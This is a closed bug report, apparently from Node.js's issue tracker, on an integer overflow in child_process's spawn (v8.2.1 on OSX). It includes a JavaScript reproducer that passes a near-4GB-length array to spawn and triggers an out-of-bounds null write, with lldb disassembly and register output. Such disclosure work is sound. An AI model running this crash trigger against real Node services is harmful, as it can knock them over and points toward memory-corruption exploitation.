Closed
Description
- Version: v8.2.1
- Platform: OSX
- Subsystem: child_process
In process wrap, the length of the array is not checked for potential overflows before it is passed to new
.
With a very long array, argc + 1
would overflow to zero, causing a null value to be written &options.args[0xffffffffffffffff]
, despite the fact that we called new [0]
Test JS function:
function test() {x = []; x.length = 4294967294;x[1]=x[4294967296]='test';require('child_process').spawn('echo', x);}
while(true) test(); // eventually you'll crash with bad memory access or a malloc free error
Using this test code, eax (array length) ends up being set to 0xFFFFFF and rolls over to 0 before calling new
:
frame #0: 0x0000000100ac0557 node`node::(anonymous namespace)::ProcessWrap::Spawn(v8::FunctionCallbackInfo<v8::Value> const&) + 755
node`node::(anonymous namespace)::ProcessWrap::Spawn:
-> 0x100ac0557 <+755>: callq 0x100c80d58 ; symbol stub for: operator new[](unsigned long)
0x100ac055c <+760>: movq %rax, -0xcb0(%rbp)
0x100ac0563 <+767>: testl %r15d, %r15d
0x100ac0566 <+770>: jle 0x100ac05f6 ; <+914>
(lldb) reg read rdi
rdi = 0x0000000000000000 < --- argc (0xFFFFFF) + 1 = 0
..snip ...
(lldb) reg read rax
rax = 0x0000000102507920 <-- pointer to args
...snip...after loop which seems to get skipped for some reason....
node`node::(anonymous namespace)::ProcessWrap::Spawn:
-> 0x100ac05f9 <+917>: movq $0x0, (%rax,%r15,8) <-- we write to args[0xffffffffffffffff] which is way out of bounds of what we allocated with new
0x100ac0601 <+925>: movq 0x8(%r12), %rax
0x100ac0606 <+930>: movq 0xc8(%rax), %rsi
0x100ac060d <+937>: movq %r13, %rdi
(lldb) reg read rax r15
rax = 0x0000000102507920
r15 = 0xffffffffffffffff